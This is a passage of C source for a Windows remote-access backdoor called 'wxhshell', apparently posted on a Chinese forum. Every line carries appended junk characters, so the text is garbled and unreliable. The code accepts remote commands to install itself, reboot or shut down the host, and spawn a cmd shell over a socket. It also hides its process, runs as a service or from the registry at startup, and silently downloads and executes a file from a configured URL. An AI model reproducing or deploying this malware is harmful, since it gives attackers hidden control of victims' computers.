  else { =4zNo3IvL+  
ejklpa ./  
    switch(cmd[0]) { t<sNc8x  
  a jQqj.  
  // 帮助 0||"r&:X  
  case '?': { w< 65S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UP;Q=t  
    break; 'j,oIqx  
  } >?5xDbRj  
  // 安装 CE#\Roi x)  
  case 'i': { CV&zi6  
    if(Install()) gg-};0P-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qL| 5-(P  
    else e&QS#k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rH_Jh}Y  
    break; `c"4PU^  
    } U:]MgZWn  
  // 卸载 o]Wz6 L  
  case 'r': { p jKt:R}  
    if(Uninstall())  hq<5lE^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S _!hsY  
    else 74K)aA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4'SaEsA~  
    break; 3;*z3;#}  
    } i&`!|X-=R  
  // 显示 wxhshell 所在路径 P:sAqvH6  
  case 'p': { Y4#y34 We  
    char svExeFile[MAX_PATH]; ]gu1#  
    strcpy(svExeFile,"\n\r"); }[ ].\G\G  
      strcat(svExeFile,ExeFile); vwKw?Z0%J  
        send(wsh,svExeFile,strlen(svExeFile),0); %}C9  
    break; W h| L  
    } 0 y< k][  
  // 重启 \a\= gn   
  case 'b': { HZ }6Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nv"G;W  
    if(Boot(REBOOT)) Dl%?OG<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M% @  
    else { q7,^E`5EgU  
    closesocket(wsh); 2MuO*.9D  
    ExitThread(0); :BZMnCfA  
    } `(!NYx  
    break; `<^*jB@P  
    } ]:&n-&@L  
  // 关机 LM:)j:gS6  
  case 'd': { nq' M?c#E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H"+wsM^@  
    if(Boot(SHUTDOWN)) p1D()-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xP{-19s1]  
    else { (S F1y/g@=  
    closesocket(wsh);  \~>e_;  
    ExitThread(0); qD-fw-,:  
    } &~#iIk~%  
    break; 'wZ_4XjD  
    } @9 )}cg  
  // 获取shell >,"sHm}l%  
  case 's': { R \5Vq$Q  
    CmdShell(wsh); 5Z{_m;I.   
    closesocket(wsh); < Dd%  
    ExitThread(0); ,r=re!QI7  
    break; ; 0ko@ \Lq  
  } bLbR IY"l  
  // 退出 Q[PK`*2)  
  case 'x': { ]p]UTCo!'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Oz{%k#X-  
    CloseIt(wsh); CISO<z0  
    break; P~RhUKfd  
    } J 02^i5l  
  // 离开 C>X|VP |C  
  case 'q': { .!RavEg+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uZIJoT  
    closesocket(wsh); _KN/@(+F  
    WSACleanup(); ?NG=8.p  
    exit(1); SEM8`lnu  
    break; dz%EM8  
        } 5~+XZA#2  
  } nt ,7u(  
  } KX3KM!*  
+ E5=$`  
  // 提示信息 r:&|vP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1] #9  
} por/^=e{Y  
  } ^jD1vUL 2:  
CO^Jz  
  return; 8SC%O\,  
} M#,Q ^rH#  
2e1]}wlK  
// shell模块句柄 Br5o7(AE  
int CmdShell(SOCKET sock) 7:Zt uc]  
{ PaO- J&<  
STARTUPINFO si; ^6;V}2>v}  
ZeroMemory(&si,sizeof(si));  HpW 42  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K84^ Oq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xT*d/Oaw  
PROCESS_INFORMATION ProcessInfo; H(-4:BD?  
char cmdline[]="cmd"; _P7tnXww  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y`GOER  
  return 0; {1-V]h.<J  
} 'Ot,H_pE  
D'_Bz8H!p  
// 自身启动模式 V[; M&=,"  
int StartFromService(void) \7v)iG|#G&  
{ E JK0  
typedef struct 1(#;&:$`i  
{ 7 s Fz?` -  
  DWORD ExitStatus; @T-p2#&  
  DWORD PebBaseAddress; X~9j$3lUBR  
  DWORD AffinityMask; {b)~V3rsY  
  DWORD BasePriority; {+.r5py  
  ULONG UniqueProcessId; sLL7]m}  
  ULONG InheritedFromUniqueProcessId; %O[N}_XHEh  
}   PROCESS_BASIC_INFORMATION; 0CExY9@Wq  
,IHb+K  
PROCNTQSIP NtQueryInformationProcess; )_7>nuQ6  
'gMfN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Iah[j,]r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SA"p\}"  
f3MRD4+-  
  HANDLE             hProcess; pB:$lS  
  PROCESS_BASIC_INFORMATION pbi; OO) ~HV4\  
~Bi_7 Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c=O,;lWFqm  
  if(NULL == hInst ) return 0; i[jJafAcN  
z+{,WHjo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NAC_pM&B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &53]sFZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G3i !PwW  
4u;9J*r4  
  if (!NtQueryInformationProcess) return 0; Jju#iwb  
D;}xr_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !^oV #  
  if(!hProcess) return 0; ?%tMohL  
Dim> 7Wbh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; thlY0XCq,%  
b}^S.;vNj  
  CloseHandle(hProcess); /*FH:T<V  
2&mGT&HAVA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3f.b\4 U  
if(hProcess==NULL) return 0; S{t+>/  
f5*k7fg  
HMODULE hMod; hg.#DxRi{  
char procName[255]; `3H4Ajzcc  
unsigned long cbNeeded; Yf,K#' h:  
\*hrW(   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $,=6[T!z+e  
!3n)|~r;K  
  CloseHandle(hProcess); e~%  ;K4  
2"P 99$"  
if(strstr(procName,"services")) return 1; // 以服务启动 wcSyw2D  
h` U?1xS  
  return 0; // 注册表启动 =' ZRfb&  
} H`bSYjgM!  
_/8FRkx  
// 主模块 9O` m,t  
int StartWxhshell(LPSTR lpCmdLine) [v7^i_d  
{ omO S=d!o  
  SOCKET wsl; 3`d}~v{  
BOOL val=TRUE; Ars687WB  
  int port=0; ]xC#rwHUC  
  struct sockaddr_in door; `e9$,h|4  
Ds #/  
  if(wscfg.ws_autoins) Install(); fH`P[^N  
MObt,[^W  
port=atoi(lpCmdLine);  ~\,w {  
K 8n4oz#z  
if(port<=0) port=wscfg.ws_port; ;k"Bse!/  
M` q?Fk  
  WSADATA data; LTNj| u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M;cO0UIwO  
[U}+sTQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~!s-o|N_\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5w%_$x  
  door.sin_family = AF_INET; .)}@J5 P)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LmlXMia  
  door.sin_port = htons(port); ZX ?yL>4  
.Ha'p.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1(|D'y#  
closesocket(wsl); mRB   
return 1; mj|)nOd  
} ^~{$wVGa  
`D9]*c !mO  
  if(listen(wsl,2) == INVALID_SOCKET) { m(], r})  
closesocket(wsl); vN 2u34  
return 1; 3qY K_M^[  
} KIR'$ 6pn~  
  Wxhshell(wsl); qB)"qFa  
  WSACleanup(); }2K$^u R  
*~m+Nc`D,N  
return 0; UzXE_ S  
jiF?fX@  
} z4 &iK)x  
_qb Ih  
// 以NT服务方式启动 Hm+ODv9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C3G)'\yL  
{ G^q3Z#P  
DWORD   status = 0; #gm)dRKm%  
  DWORD   specificError = 0xfffffff; ?<G]&EK~~]  
*3T| M@Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M$0u1~K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l>Ub!^;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0afei4i~N  
  serviceStatus.dwWin32ExitCode     = 0; ,39aF*r1Q  
  serviceStatus.dwServiceSpecificExitCode = 0; ?$e9<lsQq)  
  serviceStatus.dwCheckPoint       = 0; w.& 1%X(k  
  serviceStatus.dwWaitHint       = 0; 7}*6#KRG  
>J|]moSVA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /r12h|  
  if (hServiceStatusHandle==0) return; _|"Y]:j_  
^<LY4^  
status = GetLastError(); 4%1D}9hO6  
  if (status!=NO_ERROR) ~+Z{Q25R  
{ *>VVt8*Et  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; : Sq?a0!S  
    serviceStatus.dwCheckPoint       = 0; RT>{*E<I  
    serviceStatus.dwWaitHint       = 0; nenU)*o  
    serviceStatus.dwWin32ExitCode     = status; O@?k T;B  
    serviceStatus.dwServiceSpecificExitCode = specificError; N{-]F|XX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *6 _tQ9G  
    return; >Z1q j>  
  } ;/j= Ny{9  
JWA@+u*k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K(XN-D/c  
  serviceStatus.dwCheckPoint       = 0; (%O@r!{  
  serviceStatus.dwWaitHint       = 0; iMfngIs |  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w&xDOyW]  
} 8p-=&cuo\@  
yjJ5P`j]  
// 处理NT服务事件,比如:启动、停止 kD[ r.Dma  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nYbhy} y  
{ P,sjo u^  
switch(fdwControl) ~q&pF"va8  
{ ! ZU2{  
case SERVICE_CONTROL_STOP: o!Rd ^  
  serviceStatus.dwWin32ExitCode = 0; nk3y"ne7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ew3ibXD  
  serviceStatus.dwCheckPoint   = 0; mqq;H}  
  serviceStatus.dwWaitHint     = 0; '_b.\_s-d  
  { wCk~CkC?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?'"X"@r5  
  } v`1,4,;,qs  
  return; g R nOd  
case SERVICE_CONTROL_PAUSE: uytE^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eSW{Cb  
  break; ![f ![l  
case SERVICE_CONTROL_CONTINUE: jSc#+_y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [%&ZPJT%i  
  break; :rP#I#,7w  
case SERVICE_CONTROL_INTERROGATE: US  
  break; zXsc1erli  
}; -X+H2G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xJ2*LM-  
} 3Tq\BZ  
,ZS6jZ  
// 标准应用程序主函数 F]O$(7*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q64k7<C,  
{ 9_sA&2P{uV  
-7!&@wuQ  
// 获取操作系统版本 w{k)XY40sW  
OsIsNt=GetOsVer(); }h 3K@R   
GetModuleFileName(NULL,ExeFile,MAX_PATH); L,; D@Xi  
OIl#DV.  
  // 从命令行安装 ;L&TxO>#J  
  if(strpbrk(lpCmdLine,"iI")) Install(); n4lutnF  
ps$7bN C  
  // 下载执行文件 34!dYr%  
if(wscfg.ws_downexe) { *-s,. F+c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Dup;e&9g  
  WinExec(wscfg.ws_filenam,SW_HIDE); _Jv 9F8v  
} ! Q<>3 xZ  
V<HU6w  
if(!OsIsNt) { U:F/ iXz  
// 如果时win9x,隐藏进程并且设置为注册表启动 kF7V.m/~o  
HideProc(); <}6{{&mT4  
StartWxhshell(lpCmdLine); RllY-JBO  
} 6WoAs)ZF  
else 6 n1rL  
  if(StartFromService()) d2s OYCKe  
  // 以服务方式启动 !6&W,0<  
  StartServiceCtrlDispatcher(DispatchTable); qNyzU@  
else 1+`l7'F  
  // 普通方式启动 2wqk,c[]  
  StartWxhshell(lpCmdLine); YC]L)eafo`  
%7`f{|.  
return 0; juBw5U<  
}
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只看该作者 1 发表于: 2006-10-10
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